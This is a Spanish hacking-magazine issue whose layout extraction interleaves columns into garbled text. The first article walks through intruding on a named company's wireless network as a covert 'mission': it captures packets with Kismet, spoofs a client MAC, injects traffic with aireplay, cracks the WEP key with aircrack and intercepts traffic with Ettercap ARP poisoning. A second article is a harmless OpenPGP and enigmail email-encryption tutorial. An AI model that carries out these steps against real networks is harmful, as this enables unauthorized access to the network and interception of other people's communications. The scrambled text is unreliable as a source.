Академический Документы
Профессиональный Документы
Культура Документы
4,5 EUROS
00029
8 414090 202756
Con la proliferación de las ofertas wireless, el número de redes de éste tipo va en aumento
día a día. Aunque poco a poco la gente va tomando conciencia de lo importante que es proteger
una red de éste tipo ( ¿verdad? ), veremos como hasta la más agresiva configuración de
seguridad (encriptación WEP de 128 bits, filtrado por dirección MAC, ESSID oculto y DHCP
deshabilitado) no supondrá obstáculo para un atacante con unos mínimos conocimientos. ¿Te
animas a acompañarme en este ataque? Sigue leyendo ;)
Tenemos indicios que nos llevan a sospechar de ciertas actividades ilegales en la gestión de empleados de la compañía
WADAL SL, pero carecemos de pruebas contundentes, su misión será obtener dichas pruebas mediante el filtrado del
tráfico de su red, pero no le será fácil.
El único medio de acceso a ésta red es por medio de un AP (punto de acceso inalámbrico) (802.11.bg) que da cobertura
en las inmediaciones del edificio de esta compañía y proporciona acceso a toda la red de la empresa.
Le detallo la información que nuestros técnicos han logrado obtener:
El BSSID de la red es 00:12:34:56:78:90
Encriptación WEP de 128 bits
Filtrado por dirección MAC.
ESSID oculto.
Dispone de un vehículo camuflado, un portátil con sistema operativo GNU/Linux y tarjeta inalámbrica con chipset
Prism2.
Mucha suerte en su misión
3
DHCP deshabilitado: El DHCP capturar y visualizar los paquetes. Sus
(Dynamic Host Configuration Protocol) comandos/opciones son los siguientes:
es un protocolo que permite al cliente (Imagen 0 )
recibir por parte del servidor DHCP los
parámetros de configuración para Si Kismet no puede poner tu tarjeta
acceder a la red. Entre esos parámetros automáticamente en modo monitor
se encuentran la IP , puerta de enlace, puedes hacerlo con las wireless-tools:
etc..
root@spirit:/#iwpriv <interfaz> monitor 1 1
Con DHCP deshabilitado, un atacante
que logre conectar con nuestro AP tendrá ó bien:
que adivinar y configurar a mano dichos
parámetros para poder formar parte de root@spirit:/#iwconfig <interfaz> mode monitor
la red.
Nos desplazaremos por las inme-
Encriptación WEP: (Wired Equivalency Imagen 0 diaciones del edificio hasta que Kismet
Privacy ) es un sistema de cifrado nos detecte paquetes provenientes de
incluido en el protocolo 802.11 que de esta forma podremos capturar la red de BSSID 00:12:34:56:78:90 y
permite encriptar la información paquetes sin necesidad de estar de ESSID desconocido(Imagen 1).
transmitida mediante el algoritmo RC4, asociados a una red.
utilizando claves de 64, 128 o 256 bits. En este caso he detectado 2 redes con
En la misión voy a utilizar Kismet ( ESSID oculto, para ver el BSSID de la
¿Por que chipset Prism2? Por su facilidad http:// www.kismetwireless.net/ ), un red pulsamos 's' y escogemos el tipo de
para el modo master, con modo master sniffer para redes wireless que nos ordenación de los nodos, en mi caso
podremos convertir nuestra tarjeta permitirá localizar el AP, además de escojo 'b'; una vez el nodo ha sido
inalámbrica en un punto de acceso. En
el transcurso de la misión necesitaremos Imagen 1
emular un AP para llevar a cabo ciertos
ataques y facilitar el trabajo.
4
marcado con otro color pulsamos la
tecla 'i' , que nos mostrará información
acerca de esta red (Imagen 2).
5
normalmente se encuentran en Una vez abierto ordenamos los paquetes
root@spirit:/# ifconfig wlan0 hw ether
/var/log/kismet, allí encontraremos logs por el campo Info, localizamos los del 00:c5:c5:f3:f3:00
con este forma tipo Data y seleccionamos uno
cualquiera.(Imagen 6)
Kismet-[mes]-[día]-[año]-[sesión].[formato]
Si con las wireless-tools no puedes
/var/log/kismet/Kismet-May-17-2005-1.csv Este paquete proviene del gateway de cambiarla puedes probar con el
/var/log/kismet/Kismet-May-17-2005-1.dump la red (00:12:34:56:78:91) y va dirigido programa macchanger.
/var/log/kismet/Kismet-May-17-2005-1.network
a un cliente válido (00:c5:c5:f3:f3:00),
/var/log/kismet/Kismet-May-17-2005-1.xml
por lo cual ya tenemos un MAC válida.
E n t r e l o s f o r m a t o s g e n e ra d o s s e
encuentran .csv , .dump , .network, Kismet captura MAC's válidas WEP (Wired Equivalent Privacy), nace
.xml . El formato .dump es la captura automáticamente, para ver las con el fin de proporcionar a las redes
en bruto o raw dump de todos los capturadas seleccionamos el nodo en wireless una seguridad equivalente a
paquetes, es un formato totalmente concreto (para ello primero tenemos una red cableada. Utiliza el algoritmo
compatible con ethereal o tcpdump. que ordenarlos pulsando la tecla 's' y RC4 y usa claves de 64, 128 y 256 bits
escogiendo uno de los modos que se que a efectos prácticos son de 40, 104
Abrimos con ethereal el .dump corres- nos presentan) y luego pulsamos la tecla , 232 bits respectivamente, los 24 bits
pondiente a la sesión y visualizamos los 'c'. restantes son usados para el vector de
paquetes de datos:(Imagen 5) inicialización ó IV.
CrashCool@spirit:/$ ethereal /var/log/kismet/ A continuación clonaremos nuestra MAC
Kismet-May-17-2005-1.dump por la del cliente válido, saltándonos de El vector de inicialización es pseudo
ese modo el filtrado por MAC: aleatorio en cada paquete y su fin es
combinarlo con la clave fija de modo
Imagen 5 que el cifrado sea diferente y a un
atacante le sea mas difícil deducir la
clave.
6
deberemos deducir los parámetros de
CrashCool@spirit:/$ aircrack -c dmac : set Destination MAC address
-h smac : set Source MAC address
configuración por los paquetes
-o fc0 : set frame control[0] (hex) capturados. Al disponer de la clave WEP
aircrack 2.1 - (C) 2004 Christophe Devine -p fc1 : set frame control[1] (hex) podremos descifrar los paquetes y visua-
-k : turn chopchop attack on
lizarlos, para ello puedes utilizar el
usage: aircrack [options] <pcap file> <pcap file> ... programa decrypt incluido en Airsnort
Por tanto el comando que usaremos (http://airsnort.shmoo.com), su uso es
-d <start> : debug - specify beginning of the key podría ser: el siguiente:
-f <fudge> : bruteforce fudge factor (default: 2)
-m <maddr> : MAC address to filter usable packets root@spirit:/# aireplay i wlan0 CrashCool@spirit:~$ decrypt
-n <nbits> : WEP key length: 64 / 128 / 256 / 512 b 00:12:23:56:78:90 d ff:ff:ff:ff:ff:ff missing required argument
Usage: decrypt (-p <pw> | -f <dictfile>) [-b] [-
-p <nfork> : SMP support: # of processes to start
Esto capturaría tráfico proveniente del o <offset>] -m <bssid> -e <cryptfile> -d
Llegó la parte mas tediosa, capturar AP y con destino a la dirección de <decryptfile>
entre 200.000 y 500.000 IV's diferentes broadcast, tras esto nos preguntará si -p: single password to try
para facilitar el trabajo a aircrack, para deseamos reenviarlo, a lo que contes-
ello deberemos esnifar suficiente tráfico, taremos sí ( 'y' ). -f: dictionary, 1 password per line
pero ¿que pasa si la red se usa muy -b: skip beacons
poco o no hay tráfico suficiente? Se También podemos usar un archivo .pcap -o: offset to frame control (default zero)
utilizan técnicas para generar tráfico. capturado con anterioridad y reenviarlo. -m: bssid to crack
Entre las utilidades que te permiten -e: input pcap file
hacer esto se encuentran: Para capturar el tráfico puedes usar -d: output pcap file
Airodump, utilidad incluida en Aircrack
Aireplay 2.2, utilidad incluida en que te irá mostrando el número de IV's Para descifrar el nuestro usaremos el
Aircrack (http://www.cr0.net:8040/ capturadas o Kismet. Yo voy a hacerlo comando:
code/network/) y que captura paquetes con Kismet; para ello lo ejecutamos y
válidos generados por un cliente de la seleccionamos el nodo en cuestión CrashCool@spirit:~$ decrypt -p
red para luego hacerse pasar por él y (pulsando 's' y escogiendo algún tipo 6e:23:c8:69:d3:7f:37:d6:58:42:cf:02:13 -m
enviarlos de nuevo a la red, de modo de ordenación), una vez seleccionado 00:12:34:56:78:90 -b -e /var/log/kismet/Kismet-
que al retransmitirse generan más tráfico fijamos el canal del nodo de modo que May-17-2005-2.dump -d descifrado WEP.pcap
que nos dará mas IVs. Kismet sólo escuche el tráfico de ese
Su uso es el siguiente: canal para así capturar mas A continuación abrimos
rápidamente, esto se consigue pulsando descifradoWEP.pcap con ethereal:
root@spirit:/home/CrashCool/hxc/aireplay-2.2# ./aireplay 'L' sobre el nodo seleccionado.
replay options:
7
Imagen 12
Imagen 7
En el menú Sniff seleccionamos
necesitamos para conectarnos a la red sniffer Ettercap para capturar el tráfico Unified sniffing... y escogemos la
;), procedamos: de la red, pero antes de eso vamos a interfaz de red con la que estamos
estudiar a que tipo de red nos conectados (Imagen 8).
root@spirit:/# iwconfig wlan0 essid W4d41B3RT0-007 enfrentamos.
1. Establecemos el nombre del ESSID
Tras esto veremos la pantalla principal:
root@spirit:/# iwconfig wlan0 key open 6e23c869d37f37d65842cf0213
(Imagen 9)
2. Configuramos la clave WEP
root@spirit:/# ifconfig wlan0 192.168.0.150
A continuación construiremos una lista
3. Nos ponemos la ip 192.168.0.150
root@spirit:/# route add default gw 192.168.0.1 de los hosts activos, es decir de los
4. Añadimos el gateway. clientes que están conectados a la red,
para ello en el menú Hosts seleccio-
En teoría ya estamos dentro, veamos namos Scan for hosts (Imagen 10).
que nos dice Ettercap.
Imagen 10 Y esperamos unos segundos a que
detecte los clientes:(Imagen 11)
Arrancamos ettercap en su modo gráfico
(GTK) Una vez terminado podremos ver la lista
Una vez dentro de la red, usaremos el
de host desde el menú Hosts -> Host
Imagen 8 root@spirit:/home/CrashCool/he2# ettercap -G list.
8
Imagen 13
Imagen 15
Imagen 16
Imagen 14 status el resultado: You are plugged
into a SWITCH (Imagen 15).
En las redes conmutadas los datos sólo Aparentemente no puedo utilizar un
van a parar a la máquina destinataria sniffer para ver el tráfico de todos los
del paquete; para ello los switch's clientes, pero recordando la switch
generan tablas dinámicas (switch table) table, ésta miraba la MAC de destino
que asocian cada una de sus interfaces del paquete y lo reenviaba por la interfaz
con la MAC (o MAC's) del cliente correspondiente, pero ¿y si desde un
conectado a ella. Al recibir un paquete principio falseamos la MAC de destino?.
el switch mira la MAC a la que va dirigido Si me encuentro en una LAN con los Imagen 17
y consulta su tabla buscando por que clientes A, B y C y A envía un paquete
interfaz debe reenviar el paquete; si por a C, en el paquete va especificada la
alguna casualidad en su tabla no está MAC de C ¿cómo sabe A la MAC de C?,
dicha MAC reenvía el paquete por todas consultando su tabla ARP.
sus interfaces (así se asegura de que
llegue). Ésta tabla se va actualizando ARP (address resolution protocol),
cada cierto tiempo de modo que si un traduce o asocia una dirección IP con
cliente conecta una máquina al switch una dirección física (MAC), es utilizado
por un atacante asociando su MAC a un
por la interfaz 5, el switch añadirá a su por todos los nodos de la red que posean
IP que no es suya conseguirá engañar al
lista la MAC del cliente asociándola a la capa de enlace de datos, así pues,
switch para que le entregue un paquete
dicha interfaz. Así pues cuando el switch cada cliente de la red mantendrá su
que en teoría no le pertenece; esta técnica
reciba paquetes destinados a dicha MAC propia tabla ARP gestionada por su
es comúnmente conocida como ARP
sabrá que sólo debe reenviarlos por la sistema operativo.
poisoning .
interfaz 5 (Imagen 13)
Ettercap nos lo va a poner fácil ya que
Si quieres visualizar tu tabla ARP, puedes
Un atacante que corra un simple sniffer es capaz de lanzar y mantener este tipo
hacerlo a través del comando: arp -a
poniendo su tarjeta en modo promiscuo de ataque y esnifar el tráfico a la vez :P.
solo visualizará su tráfico. Esta tabla es dinámica y posee además
un tiempo de vida, cada nodo está Para ello seleccionamos en el menú
Para detectar si nos encontramos ante
pendiente de los frames que le llegan Mitm -> Arp poisoning.. y marcamos
un tipo u otro de red usaremos el plugin
por parte de los demás nodos para la casilla Sniff remote conections.
'link type' de Ettercap; para ello desde
mantener esa tabla lo más actualizada (Imagen 16)
el menú Plugins seleccionamos Manage
posible.
Plugins: (Imagen 14) Una vez hecho esto comenzamos la
A la hora de emitir un paquete, la tabla sesión de esnifado, desde el menú Start
Y hacemos doble click sobre el plugin ARP es consultada para rellenar el campo seleccionamos Start sniffing (Imagen
link type observando en la ventana de MAC destino, si esa tabla es modificada 17)
9
debilidades del actual WEP y entre sus
principales mejoras destacan la continua
rotación de la clave para cifrar los
paquetes (TKIP). El usuario proporciona
una clave fija en ASCII que sirve como
semilla para generar la clave aleatoria
con la que se cifrarán los paquetes,
pasados un cierto número de paquetes
se vuelve a generar otra clave a partir
de esa semilla.
10
Bienvenidos una vez más al Taller de Criptografía. En los dos primeros artículos hemos aprendido
los fundamentos del sistema OpenPGP, los fundamentos matemáticos tras la criptografía de clave
pública, así como el manejo de sus principales implementaciones. Ahora es el momento de empezar
a darle un uso útil a todos esos conocimientos... ;-)
Antes de empezar, me gustaría decir algo. Cuando empecé esta serie de artículos, decidí que sería
un "taller" y no un "curso" porque la mayor parte de trabajo recaería en práctica, dejando la teoría
como herramienta para comprender la primera. Dado que el tema a tratar era la criptografía, no
me calenté mucho la cabeza y elegí el nombre más obvio para el taller: "Taller de Criptografía".
Ya habiendo terminado el segundo artículo caí en la cuenta de una cosa: sin darme cuenta había
"copiado" un nombre que ya existía y que significa mucho para todos los aficionados a la criptografía:
El "Taller de Criptografía" de Arturo Quirantes Sierra (profesor de Física de la Universidad de
Granada... pero como él mismo dice en su web, podemos respirar tranquilos porque no es contagioso
:-P): http://www.ugr.es/~aquiran/cripto/cripto.htm.
Todo aficionado a la criptografía que sepa leer castellano y no esté suscrito al boletín ENIGMA
(http://www.ugr.es/~aquiran/cripto/enigma.htm) de Arturo Quirantes, es poco menos que un
hereje. Yo particularmente soy asiduo lector desde hace mucho tiempo, y os lo recomiendo totalmente.
Aunque no tengo el placer de conocer a Arturo Quirantes en persona, sí que cruzamos unos correos
cuando caí en la cuenta de lo desafortunado de la elección del título del taller, y fue más compren
sivo aún de lo que yo esperaba. Sólo me expresó su deseo de que la gente no confundiera este
taller que tienes en tus manos con el suyo. Pues que quede esta nota como aclaración, al César lo
que es del César. Mando un saludo para Arturo desde mi humilde rincón. :-)
11
PKI (Public Key Infrastructure)... que, Adicionalmente, nunca está de más que GNU/Linux como Microsoft Windows e
efectivamente, es muy seguro. SSL no uséis, en la medida de lo posible, SSL incluso Mac OS X. Yo particularmente
es el tema de este artículo... ese tema en detrimento de las conexiones en en esta parte usaré un sistema Debian
llegará más adelante, de momento nos claro. GNU/Linux 3.1 (SID) con Mozilla
basta con saber que existe y que sirve Thunderbird 1.0.2-2, enigmail 0.91-3 y
para convertir un protocolo estándar en En un principio vamos a centrarnos en GnuPG 1.4.0-2, que son las versiones
un protocolo cifrado. un MUA concreto para familiarizarnos que a día de redactar este artículo hay
con el uso de OpenPGP en correo en los repositorios SID de Debian.
¿Existe algo similar para el correo electrónico, pero más adelante veremos Supongo que ya habréis notado que
electrónico? Desde luego. SMTP (puerto otros MUA's alternativos que pueden siempre que puedo, oriento las prácticas
25) se convierte en SMTPS (puerto 465), ser usados de forma muy similar, y al software libre (y si puede ser
POP3 (puerto 110) se convierte en POPS finalmente veremos que podemos multiplataforma, mejor que mejor).
(puerto 995), e IMAP (puerto 143) se trabajar con cualquier MUA que nos Además de los motivos técnicos (de
convierte en IMAPS (puerto 993). Lo apetezca e incluso con interfaces menor importancia en este caso, y de
malo es que el uso de SSL en correo webmail (no, no lo voy a volver a decir... los cuales no es el momento de hablar),
electrónico está muy poco extendido. bueno venga, la última ¿eh?... están los motivos prácticos: no todo el
Casi ningún servidor de correo gratuito ¡engendrooo! xD). mundo tiene el dinero necesario para
ofrece correo POPS/SMTPS, aunque hay comprar las caras (carísimas) licencias
excepciones como Gmail, que aparte de de software necesarias para determi-
su webmail (¿webmail? ¡arg, engendro! nados programas,o bien la catadura
:-D) ofrece la posibilidad de usar sus moral para andar pirateando a troche y
cuentas en un MUA (Mail User Agent) y Como ya he dicho, vamos a empezar moche dicho software. Siempre me ha
los protocolos usados son por un MUA muy concreto. El software dado mucha rabia cuando leo algún
exclusivamente POPS y SMTP (bajo TLS). elegido es: artículo en el que el autor presupone
Entre los ISP, que yo sepa, casi ninguno que todos disponemos del último acojo-
Mozilla Thunderbird (http://
ofrece siquiera la posibilidad de usar editor o acojo-compilador de turno. La
www.mozilla.org/products/thund
SSL en el correo, y entre los proveedores vida de estudiante no da para tanto...
erbird/). El motivo para elegir este
privados de alojamiento tampoco son y hablando de Universidad, otra cosa
software y no otro es que se trata
muchos los que ofrecen la posibilidad que me repatea es que los profesores
de software libre, es
de usarlo (afortunadamente el mío sí lo de una Ingeniería (Informática, para
multiplataforma, y mediante un
hace, yo recibo y envío mi correo a más inri) pidan la documentación en
plugin (del que en unos instantes
través de SSL). "formato Word". Lo siento, tenía que
hablaremos) implementa
desahogarme... :-P
compatibilidad con GnuPG (que
¿Porqué si tanto nos preocupa usar SSL
t a m b i é n e s s o f t wa r e l i b r e y
en HTTP para conexiones delicadas, es Bien, vamos al tema. Lo primero que
multiplataforma). La última versión
por el contrario tan poca la preocupación debemos hacer, obviamente, es instalar
disponible es la 1.0.2.
en el correo electrónico? Pues todo el software necesario. Respecto a
sinceramente, no lo sé, pero es un la instalación de GnuPG no hay nada
enigmail (http://enigmail.mo
hecho. Además, al tratarse SSL de una que decir, pues en el anterior artículo
zdev.org/). Se trata de un plugin
conexión entre el cliente y el servidor, se trató en detalle. Solamente
p a ra M o z i l l a S u i t e y M o z i l l a
esta comunicación irá cifrada, sí, pero mencionaré que los usuarios de Linux
Thunderbird que implementa
desde ese servidor al servidor de correo podéis descargar o bien las fuentes y
compatibilidad con inline-PGP (RFC
de destino y posteriormente al compilarlas (como fue explicado) o bien
#2440) y PGP/MIME (RFC #3156)
destinatario, es mucho más que probable algún paquete precompilado, mientras
mediante GnuPG. La última versión
que alguna de esas conexiones no se que los usuarios de Windows deberéis
disponible es la 0.91.0.
establezca mediante SSL. bajar el binario precompilado (bueno,
GnuPG (http://www.gnupg.org/). las fuentes también pueden ser
Así pues, la mayoría de los usuarios Espero que después del anterior compiladas, pero os garantizo más de
están condenados a mandar sus correos artículo no tenga que decirle a un dolor de cabeza). Los enlaces para
privados (con asuntos tan sensibles nadie qué es GnuPG (:-P). La descarga son:
como trabajo, datos bancarios, claves última versión disponible es la
de acceso...) como postales a través 1.4.1 (sí, hay una nueva versión Para sistemas Unix-like (fuentes):
de la red a la que estén conectados, y desde el artículo anterior). ftp://ftp.gnupg.org/gcrypt/gnupg/gnu
que cualquier fisgón de tres al cuarto pg-1.4.1.tar.bz2
lea lo que no debe... ¡Pues no! Dado que todo el software mencionado
es multiplataforma, no hay Para sistemas Windows: ftp://
Vamos a aplicar todo lo aprendido sobre absolutamente ningún problema en ftp.gnupg.org/gcrypt/binary/gnupg-
OpenPGP al correo electrónico. seguir esta práctica tanto desde sistemas w32cli-1.4.1.exe
12
Para sistemas Mac OS X: http:// sencillos, por lo que me limitaré a Account Name: Indicamos el
prdownloads.sourceforge.net/macgpg/ mencionarlos por encima. Si tenéis algún nombre deseado para la cuenta.
GnuPG1.4.1.dmg?download problema, consultad en google o pre-
Lo siguiente es bajar e instalar Mozilla guntad en el foro. Congratulations!: En este punto
Thunderbird (también es perfectamente New Account Setup: Selec-
posible usar el gestor de correo de la cionamos cuenta de correo (Email hemos finalizado la configuración
suite Mozilla). El software posee un account). y podemos revisar los datos
instalador muy sencillo (del tipo introducidos para revisarlos y
"siguiente, siguiente, siguiente...") así Identity: Introducimos el nombre volver hacia atrás si fuera
que no creo que haya problema alguno con el que deseamos figurar en la necesario modificar algo.
con ello. He seleccionado la versión cuenta, así como la dirección de
1.0.2 en inglés porque a día de hoy la correo. También es imprescindible configurar el
última versión en castellano es la 1.0, servidor de correo saliente (en caso de
pero podría servir exactamente igual. Server Information: Selec- usar IMAP este paso no es necesario),
Los que no se lleven muy bien con la cionamos el tipo de servidor para lo cual iremos al menú Edit >
lengua de Shakespeare, ya saben qué entrante (POP o IMAP) e indicamos Account Settings e introduciremos los
hacer (aunque en el artículo haré el nombre del servidor. Podemos datos en la ficha Outgoing Server
referencia a los textos de Thunderbird seleccionar si usar una bandeja de
en inglés). Los enlaces para descarga entrada global o no (a mí particu- (SMTP). No voy a entrar en los detalles
son: larmente no me gusta). de la configuración de la cuenta de
correo ni de detalles avanzados como
Para sistemas Linux: http:// User Names: Debemos indicar el uso de servidores salientes múltiples
download.mozilla.org/?product=thund e independientes entre cuentas, pues
erbird-1.0.2&os=linux&lang=en-US el nombre de usuario para correo no es el objeto de este texto aprender
entrante y correo saliente. a usar Thunderbird.
Para sistemas Windows: http:// Sí señalaré, no obstante, que es impor-
Imagen 1
download.mozilla.org/?product=thund tante señalar las opciones de autenticación
erbird-1.0.2&os=win&lang=en-US y cifrado correctas. En el caso de Gmail,
por ejemplo, habría que indicar en el
Para sistemas Mac OS X: http://down servidor entrante POP la opción "Use secure
load.mozilla.org/?product=thunderbird- connection (SSL)", así como TLS en el
1.0.2&os=osx&lang=en-US servidor saliente SMTP.
La primera vez que iniciéis Thunderbird Por último nos queda instalar la "joya
veréis el asistente que os ayudará a de la corona": enigmail. Esta pequeña
añadir vuestra cuenta de correo. maravilla programada en XUL (el
Cualquier cuenta con soporte POP/SMTP lenguaje en el que Mozilla vive y respira,
(o en su defecto IMAP) sirve, y si no del inglés "XML-based User Interface
tenéis ninguna, podéis usar una cuenta Imagen 2
d e G m a i l m e d i a n t e P O P S / S M T P.
L o s p a s o s p a ra a ñ a d i r l a c u e n t a
mediante el asistente son pocos y muy
13
Language") nos va a permitir trabajar el que el set de caracteres sea UTF8). configurada como válida o no. "Always
con Mozilla Thunderbird y GnuPG imple- La opción de recordar el passphrase del confirm before sending" es auto-
mentado de forma transparente al usuario por un tiempo (en minutos) explicativa (pide confirmación antes de
usuario. Lo primero es bajar los ficheros establecido puede resultar útil cuando enviar nada) y es útil cuando tenemos
.xpi al disco duro para poder instalarlos se deseen mandar muchos correos en el dedo un poco despistado :-P. La opción
desde Mozilla Thunderbird (mucho ojo, un corto período de tiempo... pero es "Rewrap signed HTML before sending"
s i u s á i s F i r e f ox , c o n n o i n t e n t a r una opción que yo no recomiendo, por reformatea el mail para evitar firmas
instalarlos en el mismo... no obstante motivos de seguridad. Así mismo, la no válidas en usuarios que utilicen correo
.xpi es la extensión de las extensiones opción de eliminar la necesidad de HTML (cosa que por otro lado des-
de Firefox igualmente). Los enlaces para passphrase permite trabajar con claves aconsejo profundamente... con lo bonito
descarga son: sin passphrase o cuyos usuarios utilicen que es el texto plano ASCII de toda la
algún gestor de passphrases como gpg- vida :-D), pero puede causar que el
Para sistemas Linux: http://www.mo agent. Por último, en la casilla de correo resulte ligeramente modificado.
servidores de claves podemos especificar "Allow empty subject" hace que enigmail
zilla-enigmail.org/downloads/enigmail-
cuáles deseamos usar. y Thunderbird no lancen el aviso de
0.91.0-tb-linux.xpi
asunto vacío que por defecto muestran.
Lamentablemente enigmail ya no Mediante la opción "Allow flowed text"
Para sistemas Windows: http:// soporta PGP, las razones podéis podemos activar el soporte del texto
www.mozilla-enigma il.org/down leerlas en el siguiente enlace: plano fluido que se detalla en el RFC
loads/enigmail-0.91.0-tb-win32.xpi http://enigmail.mozdev.org/help #2646 (ftp://ftp.rfc-editor.org/in-notes
.html#win /rfc2646.txt).
Para sistemas Mac OS X: http://www.mo El equipo de enigmail afirma que
zilla-enigmail.org/downloads/enigmail- la PGP Corp. no ofrece versiones
La opción de "Allow flowed text"
0.91.0-tb-darwin.xpi de línea de comandos a un precio
puede ser útil para usuarios de
razonable, así como tampoco unos
determinados MUA's que tengan
Una vez descargado, debemos instalarlo sistemas de salida estandarizados.
problemas al tratar caracteres
desde Thunderbird. Para ello iremos al
como saltos de línea. En
menú Tools > Extensions y selecciona- Sending: La opción "Encrypt to self"
Thunderbird no tendréis ningún
remos la opción Install, indicando la hace que al enviar cualquier correo,
tipo de problemas de este tipo,
ruta al fichero .xpi descargado. nuestra propia clave (la que se encuentre
por lo que no es necesario que la
seleccionada en cada cuenta) sea
activéis.
seleccionada como uno de los
destinatarios, lo cual es muy útil, pues
de otra forma tras enviar un correo y Key Selection: En esta pestaña nos
Es el momento de meternos en harina ser éste almacenado en la carpeta de encontramos con dos apartados. En el
con la configuración de enigmail. Para enviados, no podríamos leerlo. La opción primero de ellos, "Normal Key Selection",
ello, vamos al menú de preferencias "Always trust user ID" hace que se podemos seleccionar el comportamiento
(imagen 1) ignore el sistema de confianza de GPG ante el envío de correo con respecto a
(Enigmail > Preferences) y echamos un y se permita cifrar a cualquier clave, las claves: la primera opción es no
vistazo a sus distintas pestañas: independientemente de que ésta esté mostrar nunca la pantalla de selección
(imagen 2) Imagen 3
Basic: En este apartado podemos
configurar las opciones generales de
enigmail. El apartado "GnuPG executable
path" nos permite definir la ruta al
ejecutable GPG, cosa que puede resultar
útil si tenemos instalada más de una
versión (yo, por ejemplo, tengo instalada
la 1.4.0-3 en /usr/bin/gpg y la 1.9.15-
6 de desarrollo en /usr/bin/gpg2) y
queremos especificar cuál usar en
nuestro correo. En Windows debería ser
C:\ruta_a_gpg\gpg.exe. Los parámetros
adicionales nos permiten especificar
alguna opción que no esté incluida por
defecto pero que por algún motivo a
nosotros nos interese que sí lo esté
(enigmail ya incluye en este apartado
14
de claves, de forma que al enviar un cual es altamente conveniente (si recomendable que sea desactivada si
correo a un destinatario que no se nuestro interlocutor considera que la usas una o más cuentas IMAP, pues
encuentre en ninguna de las claves que conversación es lo suficientemente permite a enigmail tratar correctamente
poseemos, enigmail lo enviará sin cifrar importante para estar cifrada, no vamos los ficheros adjuntos como armadura
sin preguntar; la segunda opción es que a contradecirle... :-D). Mediante "Do de texto, evitando el problema que
la pantalla de selección de claves se not add Enigmail comment in OpenPGP genera Thunderbird al cargar los
muestre cuando sea necesario (el signature" evitamos que enigmail incluya mensajes según son requeridos por el
ejemplo dado para la opción anterior); en el comentario una frase informando cliente. Existe una opción adicional (justo
y la tercera es mostrarla siempre. de su uso. Para todos aquellos que antes de la última) si usáis enigmail en
Recomiendo usar la segunda (mostrarla acostumbran a adjuntar firmas en su Mozilla Suite llamada "Hide SMIME
cuando sea necesario), si bien yo la correo electrónico (yo, por ejemplo) o button/menus" que elimina de la interfaz
muestro siempre. La segunda parte de leen correos con firmas, la opción "Treat los elementos referidos al estándar
esta pestaña configura el compor- '--' as signature separator" es S/MIME.
tamiento particular de enigmail según importante, pues el estándar openPGP
el destinatario del mensaje: desactivar establece que la cadena '--' se S/MIME (Secure/Multipurpose
el comportamiento selectivo según des- transforme en '- -' a la hora de firmar, Internet Mail Extensions) es un
tinatario; aplicar las reglas definidas de forma que si no activamos esta opción estándar que propone varias
por el usuario en el editor de reglas no veremos correctamente las firmas extensiones de seguridad para
predestinatario (imagen 3), de forma (texto gris claro). La opción "Use gpg- correo electrónico, basado en el
que si no existen reglas no se haga agent for passphrase handling" es útil sistema PKI (Public Key
nada; o bien activar las reglas siempre, para los que no quieran tener que teclear Infrastructure) y muy parecido a
de forma que si no existe regla alguna contraseñas (cosa, por otro lado, poco OpenPGP en su concepción. Actual-
predefinida para el destinatario, se cree recomendable y muy insegura) y debe mente la versión más reciente es
una nueva. Mi recomendación es activar ser usada en conjunción con la opción la 3, que como siempre, podemos
la segunda opción y, si lo deseamos, "No passphrase for user" del menú Basic conocer gracias a los correspon-
definir unas determinadas reglas para de configuración. La siguiente opción dientes RFC's:
un destinatario concreto. permite modificar la forma en que
enigmail trata las cadenas de direcciones S/MIME Version 3 Message
de correo electrónico, eliminando los Specification (RFC #2633): ftp:
PGP/MIME: En esta pestaña podemos
símbolos '<>' para mantener / / f t p . r f c - e d i t o r. o r g / i n - n o t e s
seleccionar si deseamos usar el estándar
compatibilidad con claves generadas /rfc2633.txt
PGP/MIME (RFC #3156, ftp://ftp.rfc-
con Hushmail. La opción "Load MIME
e d i t o r. o r g / i n - n o t e s / r f c 3 1 5 6 . t x t ) ,
parts on demand (IMAP folders)" es S/MIME Version 3 Certificate
simplemente permitir su uso, o por el
c o n t ra r i o n o p e r m i t i r l o. A d e m á s ,
Imagen 4
podemos seleccionar el algoritmo de
hash que deseamos usar, entre MD5,
SHA-1 y RIPEMD-160. Si recordáis el
artículo anterior, hasta hace poco SHA-
1 era el único que no había sido
comprometido, aunque ahora mismo los
tres han tenido ataques exitosos a su
algoritmia. No obstante, sigo
recomendando SHA-1 mientras
implementan nuevos y más potentes
algoritmos en OpenPGP, además de ser
el único que funciona con el 100% de
las claves. Respecto al uso de PGP/MIME,
lo mejor es permitir su uso y luego
usarlo o no según las circunstancias.
15
Handling (RFC #2632): ftp://
Initializing Enigmail service ...
f t p . r f c - e d i t o r. o r g / i n - n o t e s
EnigmailAgentPath=/usr/bin/gpg
/rfc2632.txt
enigmail> /usr/bin/gpg --charset utf8 --batch --no-tty --version
gpg (GnuPG) 1.4.0
Copyright (C) 2004 Free Software Foundation, Inc. ¿Es mejor o peor que OpenPGP?
T h i s p r o g r a m c o m e s w i t h A B S O L U T E LY N O W A R R A N T Y. Va en gustos. Lo que sí es a todas
This is free software, and you are welcome to redistribute it luces es algo más complejo en su
under certain conditions. See the file COPYING for details.
estructura (pues aparte de los
clásicos algoritmos de cifrado
Home: ~/.gnupg
Supported algorithms: simétricos, asimétricos y de hash,
Pubkey: RSA, RSA-E, RSA-S, ELG-E, DSA tenemos que tratar con otros
Cipher: 3DES, CAST5, BLOWFISH, AES, AES192, AES256, TWOFISH elementos como los certificados
Hash: MD5, SHA1, RIPEMD160, SHA256, SHA384, SHA512
de seguridad X.509), y algo anti-
Compression: Uncompressed, ZIP, ZLIB, BZIP2
cuado en cuanto a los algoritmos
Listado 1 usados y siempre comparándolo
con OpenPGP (S/MIME utiliza 3DES
como algoritmo de cifrado
enigmail> /usr/bin/gpg --charset utf8 --batch --no-tty --status-fd 2 --comment '
simétrico).
Using GnuPG with Thunderbird - http://enigmail.mozdev.org' --clearsign -u 0xAF95
93E1 --passphrase-fd 0 --no-use-agent
Listado 4
16
(en caso de no ver la información
enigmail> /usr/bin/gpg --charset utf8 --batch --no-tty --status-fd 2 -d completa, pulsad sobre el icono "+"
gpg: Signature made Mon May 2 01:50:47 2005 CEST using RSA key ID FB5671E1 junto a la cabecera). Si nada ha fallado,
gpg: Good signature from "Noticias Hispasec - 2004 <noticias@hispasec.com>"
nos mostrará un mensaje similar a este:
(listado 4)
Listado 5
Podemos pulsar en el icono del bolígrafo
para obtener información extendida
(imagen 6), así como consultar la
consola de enigmail para ver qué
comando se ha ejecutado y la salida del
mismo: (listado 5)
17
Como vemos, enigmail nos muestra dos
